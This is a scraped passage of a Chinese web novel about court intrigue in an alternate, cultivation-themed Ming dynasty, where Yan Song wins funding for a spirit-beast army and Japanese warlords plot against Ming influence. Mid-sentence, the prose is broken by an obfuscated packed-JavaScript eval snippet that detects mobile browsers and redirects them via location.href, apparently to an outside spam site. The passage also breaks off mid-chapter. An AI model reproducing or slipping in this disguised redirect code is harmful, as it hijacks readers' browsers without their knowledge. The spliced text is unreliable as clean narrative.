“呵,”将众人的神情尽收眼底之后,嘉靖轻笑了一声,抬了抬手指对着严嵩开口,“严阁老刚才的话还没有说完,继续吧。” “是,”严嵩耷拉着的眼皮抬了抬,而后微微躬身一礼,继续开口,“臣想,若那只猫可以吃一些灵物,让自己的身体变得强壮。” “那么我大明,是否也可以用此法,对战马,进行培养,比如喂养一些灵草,如此一来,我大明的骑兵的战斗力必然上涨。” “若是我大明手上掌握着一支骑兵,那恐怕日后,将无人是敌手。” “至于战马服用灵草,也就是短期的,只需要让战马通过食用灵草而变的强壮即可。” “如此一来,虽说日后骑兵的粮草可能要多一些,但若是将日本的石见银山,掌控在手的话,培养新骑兵的财政压力也会减轻。” 说着,严嵩语气微微一顿,对着嘉靖躬身一礼,而后又继续道:“若是可以的话,希望皇上可以赐下一些御兽的仙法。” “以后可以组建一支灵兽军队……” 在场的都不是什么庸人,听完严嵩的这一番话后,心中都大致有了一个数。 若大明真的可以掌握一支灵兽大军的话,到时候,天上飞的,地上跑的,海里游的那些兽类,都可以成为大明的军备。 如此一来,大明日 后对外的扩张速度,也会加快不少,甚至用不了多久,周边诸国,甚至是海外西洋诸国,也都会臣服在大明脚下。 听到严嵩这么说,嘉靖也暗自思考了起来。 严嵩的话,不无道理,在凡人国都,古兽军团暂且不需要去想,单纯的就是一支经过灵气变异的兽类大军,就足以在战场上战无不胜了。 不过兽类,毕竟是兽类,没有灵智,管理起来始终是麻烦,这需要有能控制的法子,否则就会出乱子,野兽会攻击人。 一些吃草的倒也罢了,可那些食肉的,暴乱的话,可就是妥妥灾难了。 同时,今日提出的法子倒是给嘉靖提了一个醒,那就是灵气复苏以后,大明境内可能会出现一些乱子,这些乱子就是这些变异的动物。 “不过,”这时,也有人跟嘉靖想到了一起,张居正突然开口,“兽类大军,是否会不受控制?皇上也说了,灵兽有智慧,可凡兽即便因为灵气,而产生一些变化,但毕竟是凡兽。” “所以,严阁老才说,要有控制的法子,你是听不懂吗?”小阁老严世蕃直接怒怼。 “小阁老,说话就说话,何必这么夹枪带棒,”被严世蕃怼,张居正倒也不惯着他,“既然是控制这些因为灵气而产生变化之兽的法子,那这法则该什么人使用,你有没有想过?” “除了修仙者,普通凡人难道也能使用这些御兽之法吗?一个修仙者的培养要耗费多少资源?这笔账,你有算过吗?” “一支庞大到的兽类大军,要多少控制之人?这些兽类,可没有智慧,到头来还不是需要人为的控制,他们指哪儿打哪儿?” “……你!”严世蕃没有想到,自己刚开口就遭到张居者的猛烈攻击。连番的质问,一时间竟让他有些不知道如何反驳了。 其他人听到张居正的这一番顾虑后,也都微微点头。 张居正说的这些他们自然也考虑到了。 虽然大明这边,短时间内,没有办法培养出真正的灵兽军团,但只给这些凡兽一些灵物资源,让它们产生变异,变得巨大化,从而组建之一支庞大的特殊新军,自然是没有问题的。 可这样一支军队又该如何控制呢? 凡兽毕竟是凡兽,不论它变化的有多大,终究野兽之流,谁敢保证这些野兽变巨大化以后,还能听人的指挥?让去哪就去哪? 严家那只大猫,不也用铁链拴着吗? 嗯,要是不拴着,估计老严家一家子都会被当做贼耗子给活吃了! 就算是战马,前期也是需要人为驯服的,否则依旧不能为人所用,谁敢保证这些战马变得巨大化以后,还能听从小小的人类指挥? 毕竟,畜牲就是畜牲,是有野性的。 所以,这个时候就不得不想一个法子来控制这些因为灵气而变异的野兽。 而既然有这么一种法子,那必然是修仙者才可以使用的,凡人可不具备这样的力量。 如此一来,那新的问题也就随之出现了,大明有那么多修仙者吗? 虽然他们这些人还没有修炼仙法,但这么长时间的耳濡目染之下,也知道吕芳这些人修炼到练气一层,成为真正的修仙者,可以使用简单仙人手段,这期间耗费了多少的资源和时间。 因此,真想要支撑起如此一支庞大的兽类大军,这在张居正等人看来,简直是痴人说梦。 至少前期,也就是现在的大明,根本没有资源办到,而且也养护不起。 别忘了修仙资源,他们这些人都还不够分呢,哪有闲置资源用来去分给其他人? “御兽之法……”与张居正等人所顾虑不同,提到御兽,嘉靖心中已然想到了门路。那就是修仙世界大明仙宗的邻居,御兽门。 但也正如张居正所言,御兽之法即便是最简单的不需要和灵兽融合的法子,也不是凡人可以使用掌握的。 最简单的御兽之法,就是修仙者通过术法或者是符箓,进行灵兽绑定或者是认主的。 所以,在都忙培养一支灵兽军团,未来确实可行,但对于现在来说,有些遥远了。 面对张居正和严世蕃的争吵,提出这个方案的严嵩,神情间却是没有任何的变化,始终一副老神在在,平平淡淡的模样。 似乎对自己提出的这个看似合理,实则有些不切实际的想法被别人拆穿后,毫不在意。 “确实不失为一条强国之策,”说话间,嘉靖看看向严嵩,“想来严阁老不是那种做事不周密之人,依然既然已经拿出了一个法子,定是有了自己的一些想法,不妨说来听听。” 听到嘉靖这么一说,在场众人神情微微一凛,回过神来的张居正,下意识的朝着老神在在的严嵩看了过去,果然见严嵩毫无色变。 一副毫不意外,似乎对自己的质疑,似乎早就有了预料和应对准备一般。 而后,张居正又像是想到了什么,下意识的朝着徐阶看了过去。只见徐阶始终低眉垂目,神色平静,一副认真听着的模样。 张居正这才意识到,自己莽撞了。 严嵩行事向来来周密,他既然能想到的一些漏洞,这老狐狸,又怎么会想不到呢? 那答案只 有一个,那就是严嵩另有谋划,甚至有人提出质疑,也在他的算计中。 “皇上明鉴,”严嵩声音慢吞吞的,但说出来的话,却是一副忧国忧民,拳拳爱国之心,“臣知道培养一支独属于我大明的新军很难。” “但是不能因为难而放弃。”说着,严嵩微微摇头,“其他人可以放弃,但臣不可以!” “臣身为内阁首府,有些事情必然是要想到所有人前面,如此才能为皇上分忧。” “正如刚才太岳所说,此法乍一听确实有些不切实际,但臣相信,随着大明仙朝的发展,这样一支大军对于大明来说是必不可少的。” “只有如此,大明才能真正的,从内到外的,成为一方凌驾于诸国之上的伟大仙朝!” 听着严嵩这一番话,对严嵩极为了解的徐阶抬了抬眼皮,看向严嵩的背影。 其实他大致已经猜到了严肃的打算。 果然,下一刻就听严嵩开口,“所以,严家打算为皇上,为大明,培养一支都属于我大明仙朝的新军,前期耗资全由严家负责。” “若是能成自然是好,若是不能成,也不会拖了朝廷的后腿……还请皇上恩准!” 严嵩说着,抬起头,满脸的为了朝廷,为了皇上,肝脑涂地的本色。 嘶!什么叫图穷匕见,这就是! 在场的没有谁是蠢蛋,严嵩这番话说到了这里,已经是**裸的司马昭之心路人皆知了。 严嵩老贼,竟然想要染指军权?这是此刻,清流一方,包括裕王在内的所有人的想法。 爹啊,您真是我活爹,太高了,儿子佩服……此时,还因为昨天的事情,跟老爹闹得有些不愉快,心里有个疙瘩的严世蕃心底呐喊。 这才明白,原来老爹的图谋竟然如此之大,难道真的要染指军权?不,老爹早就说过了,大明朝有些东西,严家绝对不能碰。 而军权,就是其中之一! “爹,您是打算让胡宗宪,或者是唐顺之来统领这支新军吗?”这一刻,严世蕃看着老爹的背影,大脑飞速运转。 一些没有想通,没有看透的布局,这一刻全都迎刃而解。 军权不能染指,那么这支新军,就必须要有靠得住的人来统领,但同时又是众所周知的,在大是大非面前,不会跟着严家胡闹之人。 而这个人,还要能帮扶到严家,要记着严家的恩情,至少明面上,他被打上了严党的标志。 那毫无疑问,最好的人选就两个,要么坐镇东南的胡宗宪,要么北边的唐顺之。 军权,绝对是一烫手的山芋,所以严世蕃觉得,胡宗宪都不安全,还是要交给唐顺之。 到时候,老爹一举荐唐顺之,顺势将其推进内阁,这份恩亲,这份联系,赖都赖不掉。 而严家,不需要对其他人负责,只要让皇上明白,严家不想沾染军权就够了。 所以,唐顺之绝对是不二人选! 既然要提前布局,发展一支由严家,亲自培养的未来大明仙朝的新军。 那拿什么发展?毫无疑问灵物资源,钱财,而过程中,严家得到了什么?得到了资源! 就好比当初提出‘改稻为桑’、‘屯兵兴农’的国策一样,借着办事敛财! 这一刻,严世蕃终于明白老爹的苦心布局了。 原来,老爹真正的目的,不光是石见银山,他真正想要图谋的,还有更多! 话都说到这个份儿上了,潜台词也再明显不过了,嘉靖自然也都听出来了。他也没有想到,严嵩竟然敢当着自己的面要军权。 不过很快嘉靖心中又暗暗摇头,严嵩应该还不至于这么蠢。 他清楚自己的权利来源于哪里,有些东西谁都可以去想着染指,清流可以、裕王可以,景王也可以,但唯独他严家不可以! 所以,严嵩的真正意图就两个字,求财! 培养一支新军,他嘴上说是由严家来亲自负责,但自己身为皇帝还真能让他全部出资不成? 那到时候,培养出来的新军,心里惦记的肯定是严家的好,这是自己能容忍的吗? 所以,自己也势必要在一些方面对严家放宽管控,和一些便宜通融,甚至是给予支持。 培养这样一支新军,需要的是什么?灵物资源、灵土、钱财。 “看来,文孚行事还是暴露了……”嘉靖心中暗道:“严嵩已经有所察觉了,这老东西鼻子倒是够灵的……” 正如严嵩了解嘉靖一样,嘉靖对严嵩也是极为了解的。 严嵩形式,会将自己的目的和野心,毫不避讳的暴露出来给嘉靖看。 而他想要的,就是主动把好处送给嘉靖,而自己跟着吃点汤汤水水。 一直以来,他们君臣二人的相处模式,都是如此默契,心照不宣! 现在严嵩提出一个给自己送好处的方案,而且在等着的就是看自己搭不搭话了。 “严嵩这个老东西,想要借此机会获得更多的灵土资源,以及日本石见银山的钱财,”嘉靖心中念头浮现,“培养灵兽大军确实可行,倒是可以交给他,他倒也是个办事得力的…正好,培养出一批变异的兽类军团交给仙武卫。” 就在嘉靖念头浮动之间,只听高拱突然开口道:“严阁老此举果然忠义无双啊。” “为朝廷养一支未来强大无比的新军,就像是当年的岳家军一样,哈哈……” 高拱笑声爽朗,却意味深长道:“这支新军也会成为朝廷的依靠,此举令人敬佩!” 高拱这番话说的,看似是在夸赞严嵩自掏腰包为朝廷培养新军,实则确实在内涵养兵自重! 当年盛极一时的岳家军几乎成为大宋朝的依靠,最后不也是被皇帝所忌惮后铲除吗? 岳飞,岳家军何等强悍,可岳家军虽然强大,但也招来皇室忌惮,最终岳飞身死。 这话说的,实在是毒辣! 这就是在暗戳戳的提醒嘉靖,如果严家有这么一支强大的灵兽大军,日后是否会像岳家军,那样让朝廷不得不依靠他们? 甚至是达到拥兵自重的地步? 虽然这番话说的没有任何逻辑,也站不住脚,但是有些话就是怕去深想。 一个臣子想要为国家养军队,那这些被你们家自掏腰包养出来的军队是算谁的?这些人认的是朝廷,还是认的是你严家? 毕竟你严家自掏灵族资源给那给那些人修仙之法,让他们踏上修仙之路的机会,到时候这些人还会认朝廷的好吗? 自家皇帝是个什么人? 自私、贪婪,猜疑心极重的一个人。 高拱这很显然就是要利用这一点,给皇上的心里埋下一颗怀疑的种子,从而让皇上否决严嵩的提议,以达到阻止严家沾染军权的目的。 听到高拱这么一说,张居正等人都配合的点点头,一副有心冲从的模样。 突然被这么内涵一波,严世蕃眼神陡然一凝,猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669362|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向高拱,恨不得你把这个老东西给活吃了。 严世蕃想要开骂,但却发现自己不知道如何开口了。 岳家军可是忠义无双的代表,高拱这番话,表面看,就是在夸严家。 自己这个时候如果反驳的话,岂不是说严家有二心?让人给说中了? 察觉到严世蕃那恨不得冲上来咬自己的眼神,高拱眼神中全是得意之色。 他就是要让严世帆也尝一尝,被猜忌的滋味,上次严世蕃利用朱纨案,给皇上心底埋下猜疑的种子,坚实的坑了他们一把。 他今天,不过是在以牙还牙! “呵呵,”这时,严嵩突然发出一声慈祥的笑声,微微撇头看向高拱,缓声道:“我自是不敢和岳家军相比……” “那大宋朝廷,皇帝昏庸无能,坑杀忠良,我大明仙朝帝君,天纵圣明,岂能与那等凡夫愚君相比?”严嵩说着,语重心长道: “肃卿,慎言啊,可不能胡说。” “……我!”听到这话,高拱顿时气急,原本想要挑拨离间,给皇上心底埋下一颗猜疑的种子,让严嵩无法拿到未来的新军兵权,没想到反被严嵩抓住话中漏洞反咬一口。 一时间高拱顿时语塞,而后迎着嘉靖看来的目光身体一颤,赶紧下跪。 “微臣失言,还请皇上恕罪!” “起来吧,朕的心胸还没那么小。”嘉靖摆摆手,示意高拱起来,然后也不理会高拱的道谢,看向严嵩,道:“严阁老既然有这份心,朕自然也不能亏待了你。” “你刚得到仙法,正是修仙的关键时候,资源必须要跟得上,”说着嘉靖语气微微一顿,而后开口,“朕会会在京城外给你划一块灵田,方便你培育灵兽大军。” “至于前期的财政支出,便从日本的石见银山中出吧,”说着,嘉靖看向赵贞吉,“之后,石见银山的钱就分开一个银库拨给严府。” “是。”赵贞吉不敢怠慢,赶紧应答,只是说话间,不着痕迹的瞥了眼严嵩。 这才真正的巨贪啊,不管什么时候,都能给自己捞一笔出来。 灵兽大军?嘴上说的好听罢了! 等到仙朝真正确立发展的时候,天知道那时候能发展出多少来? 而这期间,皇上又是给灵土,又是给钱,严家可以接着这笔资源快速发展。 “老臣谢皇上体恤。”严嵩想要的不就是这些吗?现在如愿以偿了。 至于未来新军的军权,他自然不会占,他会原原本本的归还给皇上。他清楚,有些东西可以碰,而有些东西绝对不能碰,碰了就得死。 整个严府上下都不够砍的那种! “行了,该解决的都解决了,接下来便由户部施行‘钱币八策’,第二阶段的土地改制就由赵卿负责,六部配合……” “三年内,土地改制和钱币八策,都要全部完成,此外一年内,肃清日本!” “臣等,遵旨!”众人起身跪拜。 该确定的都确定了,嘉靖起身朝着偏殿而去。 其他人则是陆陆续的转身离开。 此时,玉熙宫外,寒风裹挟着雨雪,吹得内阁众人眼睛都有些睁不开了。 裕王领着徐阶高拱等人走在最前面。景王、严嵩和严世蕃三人走在后方。 众人身边都没有小太监撑伞随行。 “徐阁老,今日严嵩此举,你有什么看法?”裕王吸了一口冰凉的水汽问道。 高 拱、张居正和赵贞吉三人,也都朝着徐阶看去。 “严嵩不会染指军权的,”徐阶微微摇头,“他还不至于这么愚蠢。” 高拱三人听到徐阶这么说,都朝着彼此看了一眼,都看到了对方眼神当中的疑惑之色。 严嵩竟然没有打算染指未来新军? 现在明眼人都能看得出来,未来大明的新贵必然是功勋阶层,谁要是能在军队中插入自家的势力,那么靠着那些庞大的军户,能累积多少资源?修仙家族发展,指日可待! 甚至,在军中插入势力,自家的家族发展,必然会越发的牢靠。 严嵩难道不是看重了这一点? “我们都知道未来,我大明的新贵是武勋人员,军中势力将前所未有的膨胀。” “可修仙者,个人伟力强大,若是凝聚成一支大军,又该有何等的破坏力?”徐阶说着,看向众人,“皇上能不忌惮?” “看着吧,未来任何人胆敢染指军权,”说着,徐阶深吸一口气,对着裕王沉声道:“都将会迎来皇上的猜疑,和雷霆之怒!” “严嵩这个老狐狸,自然看的比任何人都清楚,要比任何人都要了解皇上。” 经过徐阶这么一点,众人这才恍然。 他们是当局者迷了,只看到了未来‘大明新贵’的潜力,和背后的庞大利润,但却忽略了其中可能存在的不可触碰的帝王逆鳞。 “所以,严阁老这是……”裕王眉头皱起。 “求财。”徐阶淡淡开口,“就好比当初他提出的那两个国策一样,借着给皇上给朝廷办事的名义,捞取自己的好处!” “殿下,石见银山是块肥肉,如今看来已经是严党的口中肉了,”徐阶话锋一转,“但根据我们的探子汇报,日本还有其他银矿。” “是时候抓紧时间了。” “灵兽大军的事先不谈,但财政收入,还有钱币改制中,比如改善道路、银库分库、以及运河的灌溉疏通这些,都离不开钱。” “殿下要记住,无论这天下如何变,但始终逃不开一句话,”徐阶语气严肃,凝视着裕王,“得民心者,得天下!” “只要殿下能得民心,让世人看到是您在做好事,本身就会让您立于不败之地!” “此外,军权不染指,但也不能毫无作为,未来钱币改制中,其中有一条就是建设学堂,殿下可以让军户的孩子入学堂读书。” “以此给他们另外一条全新的路,未来始终是这些孩子的,那时候他们都会是裕王门生!” “不谋一时,谋万世,修仙争长短,从不看朝夕胜负!” “好,本王明白了!”裕王吸了口冰凉的水汽,下意识的回头瞥了一眼跟严嵩父子走在一起的景王,呢喃道:“再有一两月,四弟就要突破了,我还有一段时间……” 听到这话,众人自然知道,裕王说的是突破练气一层的事。但这事,他们无权干涉,未来大明是仙朝,一切自然是以修仙为主了。 皇上自然是更喜欢修为更好,天赋更好的皇子了。 “殿下不必妄自菲薄,您还有世子,日后也可以修仙,若是世子快一步,也是快!” “修仙,个人修为最重要,但皇族之争,个人之争,只是其中一部分。”张居正也跟着宽慰起来。 “嗯。”裕王点了点头,没有再说话,话虽如此,但明明是同一天开始修炼的,大家在一个起跑线上,景王却要领先一步,他心中自然无法痛快,而且他更在意的是父皇的看法。 “爹,您的良苦用心,儿子知道了。”严世蕃扶着严嵩的胳膊,开始道歉赔罪。 一旁的景王则是嘴角勾动,轻笑摇头。 这小阁老,虽说也长进了不少,但与严阁老相比起来城府心计终究是差了一些。 不过这是人家的家事,他自然也不好插嘴。 “你能看到大部分东西,已经很难得了。”严嵩自然不会真的跟儿子置气,况且他对严世蕃能看透他的部分布局已经是欣慰了。 “不过,严阁老还真是受父皇器重啊,”景王发出一声轻笑,“你要为朝廷养灵兽大军,父皇竟然就同意了,还批了一块灵土。” “日后有这块灵土,定能收获不少。” 严嵩何听不出来景王这一番言外之意,不过到了他嘴里的肥肉,他自然是不可能让给你景王的。 自从上次海瑞把一些话挑明了之后,不光是他,包括清流和裕王之间,也都已经彼此从原来亲密无间的关系,变成了单纯的合作关系。 所有人都明白,一旦皇上日后要纳妃,或者是其他妃子为皇上谈下其他皇子,那么这储君之位指不定还轮到谁呢。 自己自然也不必如此巴结着景王了。 见自己说完之后,严嵩竟然没有任何的表示,景王眼底浮现一抹不快之色,不过却也拿这位内阁首辅没有办法。 以前是严嵩靠着自己,但是现在双方变成了合作关系,甚至在某些时候,自己还要指着这位内阁首辅,自然不能再以当初的姿态对待了。 没错,以前严嵩贪的钱,除了要给父皇以外,还有一部分要拨给他。现在突然没有了一个上贡者,他心里自然是有 第一百四十六章 丰臣秀吉:是时候踢大明出局了!飞梭,带内阁俯瞰国战! 丰臣秀吉,原本是叫木下藤吉郎的,不过在得到景王的支持后,就接受了景王的赐名。 所以此时自然是改叫丰臣秀吉了。 见老爹听到自己的话,神情间一怔,严世蕃开口解释,“从徐元亮口中得知,德川宗右卫门暗中联系了他,并告知了丰臣秀吉的打算。” “这个丰臣秀吉已经与德川家康密谋,打算等借助大明的力量一统西部后,便与武田信玄罢手言和,彻底摆脱大明……” 听完严世蕃的这一番话,严嵩也不发表看法,只是微微摇头叹息着俯身钻入轿子的同时,“若是所有对手都这么愚蠢就好了……” “呵!”听着老得这一番感慨,严世蕃冷笑出声。 老爹这一副模样,明摆着没把这所谓的计谋放在眼里。 不过有时候,严世蕃还真有些佩服这个丰臣秀吉了,就是谁给他的勇气,明知道引大明入日本是引狼入室,还妄想着把大明当棋子。 这究竟是何等的自大,无知之人才能有如此自信? 嘉靖四十三年,正月初十。 如今的日本,已经被四大家族,一东一西,大致进行了瓜分。 西边自然是被织田家和德川家瓜分,而东边则是由武田和今川家族瓜分。 虽然东西两部,依旧还有一些顽强的家族在抵抗,但也不过是时间问题而已。 名古屋,位于日本东海道,现如今随着日本局势的突变,如今被今川家所掌控。 也就是在这一日,没有人知道的是,四大家族的首领,带着身边最信任的部下,在名古屋海边某处,正在进行一次秘密会谈。 而这一次会谈的内容只有一个,那就是彻底摆脱与大明的联系,并将日本境内,隶属于大明的势力,全部连根拔起,然后平分天下。 “欢迎诸位来到名古屋做客,我代表今川家,向诸位表示欢迎。”一袭黑色和服,面容稚嫩清秀,气质中有着淡淡优越感的青年,看着房间里,面对面坐着的双方,微笑道。 这青年不是别人,正是现如今,今川家的家主,今川氏真。 今川氏真今年二十五岁,或许是常年养尊处优,从不考虑政治斗争,和争霸天下的缘故,看起来竟是比比他小的德川家康还要年轻。 在他左手位置,坐着的是今川氏真的盟友,武田信玄,以及他的心腹。 武田信玄是个四十出头的中年人。 皮肤黝黑,面容坚毅,眼神深邃,身材健硕,举止间流露出武将的英气。 此时,武田信玄正凝视着对面,看起来三十岁左右,面容俊朗,眼神锐利,身材修长的青年。此人不是别人,正是织田信长。 而在织田信长旁边坐着的,则是德川家的家主,德川家康。 一个身穿黑衣,年龄不过弱冠,长相阴柔,眉心还隐隐有一颗黑痣的青年。 虽然只有二十岁,但因为阴柔的长相,精简的短发,让他看起来,竟比今川氏真还显成熟。 而在二人身后,坐着的则是丰臣秀吉和德川宗右卫门二人。 面对织田信长这个杀父仇人,此时今川氏真却是毫无反应,依旧可以做到笑容以对。 若是不了解这位今川家现任家主的人,必然会觉得这是一个枭雄角色。 不过可惜的是,众人对这位今川家的家主,再熟悉不过了,这就是一个十足的脓包。 一个甘心偏安一隅,只求自己快活的人。如果不是得到了大明裕王的帮助,跟武田信玄组建成了联盟,恐怕今川家早就被吞了。 不过今日在场的四大家族讨论的,并不是过往的恩怨情仇,也不是谈判利益,而是接下来他们要面对的共同敌人大明王朝。 “这一次的会议,便由我来主持了,”今川氏真轻笑着,抬手示意仆人给众人都奉上热茶,等闲杂人等都退出房间后,看向织田信长。 “织田族长,既然今日的秘密会谈,是由你你方主动提出,便由你先开始吧。” 闻言,织田信长点了点头,而后微微抬头朝着后方的丰臣秀吉看去,“丰臣君,请吧。” 点了点头,丰臣秀吉站起身,来到桌子的对面,对着众人躬身一礼后,跪坐下来。 “诸位阁下,现如今的日本,已经完全在我们四大家族的掌控之中。”丰臣秀吉没有废话,一上来便直奔主题,“天下四分。” “织田家与德川家独占西部,武田家与今川家独霸东部,虽然东西两部依旧有诸如‘南部’、‘毛利’、‘尼子’等大家族抵抗,”丰臣秀吉说着,环视众人一圈,沉声道: “但解决这些人,只要我们双方可以暂时罢手,专注肃清这些人,也不过是迟早的事情。” 听到这里,在场的众人,都不由微微点头表示赞同,不过都没有说话,而是看向丰臣秀吉。 他们都知道,对方还有下文要说。 果然,丰臣秀吉紧跟着话锋一转,直接开口道:“但是眼下,我们还有一个更大的敌人,在虎视眈眈,若是不将其驱逐……” “恐怕等到我们双方两败俱伤之时,便是整个国家,落入旁人之手的时候!”随着丰臣秀吉话音落下,房间里的气氛陡然一凝。 场的几人除了德川宗右卫门和今川氏真这二人外,没有一个是简单的,几乎是在丰臣秀吉刚开始说的时候,就已经意识到,对方口中的这个更大的敌人是谁! 除了大洋彼岸的,那个东方上国,大明王朝,不会有旁人。 四大家族的掌舵人心里都清楚,他们之所以这么快就能对整个日本进行东西吞并,其中最主要的原因就是因为他们各自的背后,都有大明王朝的支持。 田信长和德川家康的背后是景王。 武田信玄和今川氏真的背后则是裕王。 在场的都是一方枭雄人物,自然明白什么是引狼入室。 不过他们还是选择了这么做。 其中最主要的原因就是因为看穿了大明内部并不和谐,裕王和景王二王相争。 所以,当初他们决定先利用大明的力量,帮助他们保留实力的同时,还可以尽最大的可能清除日本境内的其他大名。 之后为了防止真的引狼入室,防止让大明王朝坐收渔利,可以暂时的罢手言和。 直接将大明踢出局,然后再行平分天下,或者是一较雌雄争夺最后的霸主之位。 此时,听到丰臣秀吉这么说后,众人心中都明白,现在已经到了踢大明出局的时候了。 “看来,诸位都明白其中利害关系。”丰臣秀吉说着,眼底精光闪烁,这一刻他仿佛化身为一个谋算千里的智者,“那么,做决定吧。” “是否要对大明的势力,全部清除?” 虽然其中利害关系,众人都清楚,但真正到了下决定的时候,还是不由的在心底权衡起来。 “此人,是个劲敌!”只有二十岁的德川家康撇头朝着丰臣秀吉看了过去,心中暗自警惕了起来,直觉告诉他,要防备此人。 “我同意。”想归想,不过德川家康,年纪轻轻就能成为德川家的家主,自然也拥有雄主的魄力和决断,率先表态。 一时间,织田信长和武田信玄,都不由的朝着他看了过来。 丰臣秀吉也不由的朝着这位,竟比自己小六岁的德川家的家主看了过去,眼底闪过一抹精光,在场众人中,他最看重的就是此人。 “我们与大明之间的国力太悬殊了,”德川家康不理会众人的目光,语气平静,道: “你们不要觉得此前海上的一些海盗,就能搅的大明东南沿海的安生,中间还隔着一片海,大明就对我们没有任何威胁。” “但不要忘了,如今的大明,已是今非昔比了。” “此外,在东海道外,那翔云岛和龙鳞岛上的北条风翔,以及藤原海太郎,都是明朝人,他们的汉人名字分别是徐元亮和毛海峰。” “这二人本身就是裕王和景王的人!” “一旦大明大军开拔,那这两座岛,就是他们攻伐日本的最佳据点!” “只需要登岛后,养精蓄锐,届时如果我们内部还是争斗不休,又或者是已经两败俱伤,大明便可轻轻松松的占领整个日本。” 随着德川家康的讲述,在场众人的面色,也是不由变了一变。 只有今川氏真,始终低着头,默默品着热茶,似乎这一切都与他无关一样。 “德川君考虑的不无道理,”这时,身为盟友的织田信长也沉声道:“中原有句古话……”一双鹰隼般的眸子凝视着武田新玄,沉声道: “叫做,中国既安,群夷自服。是故夫欲攘外者,必先安内。” (注:这里的“中国”指居天下之中,可以理解为中原地区。此句出处:赵普在给宋太宗的折子中写道:“中国既安,群夷自服。是故夫欲攘外者,必先安内。”) “所以,”织田信长腰背直起,对着武田信玄重重低头,道:“阁下,为了我们的疆土不被大明所得,还请先放下个人之争,共同御敌!” “届时,或争霸天下,或分而治之,皆可!” 话说到这里,一时间众人的目光,都不由得朝着武田信玄看了过去。 至于一旁的今川氏真,则没有人在乎,别看双方是盟友,但主导地位是武田信玄。 至于今川氏真,不过是因为背后有裕王在支持,所以才能被武田信玄拉拢。 如今,要对大明出手了,今川氏真的意见,自然也就没有那么重要了。 别看今川家族背后有裕王一脉支持,但裕王之所以支持他,也不过是为了牵制武田家族而已,这点在场众人心里都清楚。 其中有一个因果关系,那就是因为有武田家族,所以裕王才会选择支持今川家族。 没有了今川家族**,裕王随时可以扶持另外一个家族来和武田家族合作。 所以,没有人会在乎今川氏真! “好!”武田信玄也不傻,大明如今国力上涨,内忧外患都已经排除,若是这个时候,趁着日本内部,他们双方两败俱伤之际进攻。 那自己等人的争斗,也将毫无意义。 见武田信玄答应下来,织田信长和德川加康以及丰臣秀吉几人都不由得暗暗松了一口气。 “既然如此,那我们接下来便开始对龙鳞岛以及翔云岛进攻,彻底铲除大明在日本周围的威胁,第一时间占领 这两座岛屿!” “同时,将境内的那些投靠大明盗贼势力,全部铲除,之后各自朝着东西进攻!” “等到取得天下后,再做打算!” 闻言,双方都没有异议,至此日本内部四大家族达成一致,联手驱逐大明在日本的势力。 …… 大明,随着朝廷政令下达,土地改制的第二阶段也正式开始了。 随之一同进行的,还有钱币改制八策,一时间天下哗然。 虽然这两年时间以来,百姓对朝廷也都有了基本的信任。 尤其是新粮的出现,还有免税三年,百姓对朝廷,对皇上,都是心存感激,全都认为好日子要来了。 可让所有人万万没有想到的是,好端端的朝廷竟然下令,要收回所有的田地归朝廷所有。这顿时让各地百姓的心再次揪了起来。 预料之中,这一举措,自然遭到了不少百姓的反抗,不过在各地宗室的打压之下,百姓只能选择相信朝廷,未来会有更好的政策。 时间匆匆,三个月的时间过去。 转眼,便来到了嘉靖四十三年,四月上旬。 这一日,内阁收到了一封,从东南传回,来自日本的秘报。 现如今的四大家族,打算联手清除裕王跟景王的势力,彻底踢大明出局! 对此内阁第一时间呈递给宫里。 玉熙宫,大殿之上。 嘉靖依旧端坐于最上方的御座上,下首位置,裕王跟景王二人坐定,火炉旁是严嵩。 “今川氏真跟德川宗右卫门传来消息了,”张居正轻笑一声,放下手里的两封秘报,“看来消息不会有误了。” 一旁的高拱上前一步,对着嘉靖拱了拱手,然后道:“我们很早之前就已经与今川氏真达成了联盟,事成之后将日本交于今川家。” “而日本将成为大明的附属国,每年朝贡。” 这时,严世蕃也上前一步,道:“德川家康与武田信玄联手,德川宗右卫门知道,自己想要靠织田家重新夺回家族是不可能了。” “所以便与大明选择了合作!”说着,严世蕃斜睨了高拱一眼,道: “我们开出的条件也一样等我大明攻陷日本之后,让德川宗右卫门当德川家的家主。之后,日本由德川家掌管,同样臣服于大明。” “呵,”说着,严世蕃轻笑一声,“整个计划,有两层。” “一层是明面上,告诉日本一方,裕王殿下跟景王殿下不合,让他们放心。” “所以,四大家族都知道,在日本境内,他们各自背后其实是二位殿下的博弈。” “第二层,则是暗中扶持今川氏真跟德川宗右卫门,这一次也是在坐实二位殿下的不合,毕竟正常人都能想明白,二位殿下谁为大明征服一国,谁就能得到皇上的青睐!” “所以,不论是德川宗右卫门,又或者是今川氏真都相信,大明会帮着他们灭掉对方。” “也因此,”严世蕃笑着拿起桌上的两份秘报,“这二人才会同时传递出消息。” 张居正跟严世蕃三言两语,便谋定了一国,而严嵩跟徐阶则是始终都不甚在意。 对他们来说,谋算区区一个弹丸之地,根本都用不到他们二位亲自出手。手底下的人,就能将整个日本人玩儿的团团转。 如今看来,事实也确实如此。 那什么丰臣秀吉,自以为聪明,将大明当刀子,实则却不知道,这些把戏在严嵩二人看来,都不过是小儿游戏一般。 从开始的一切,都是大明想要给他们看的罢了。 “接下来,今川氏真和德川宗右卫门会与我大明里应外合,击溃四大家族。那时,就是我大明,登岛肃清日本的时候了……” 听到这里,嘉靖点了点头。 日本那地方,势力太多了,很难跟上次在阴山山脉一样,集中处理。 毕竟,大明看中的是整个日本岛上的丰富资源,还有那一整块的灵田。要是使用符箓,稍有不慎,就会损失不必要损失的利益。 这些都是他们不能接受的! “严阁老,”嘉靖抬了抬手,看向严嵩,“你意下如何呢?”听到嘉靖开口,众人都闭嘴,目光都朝着严嵩看去。 “回陛下,”严嵩抬了抬眼,拱手道:“日本忘恩负义,欺辱我大明,臣以为……”说着,严嵩的老眼中,精光闪过,“当灭。” 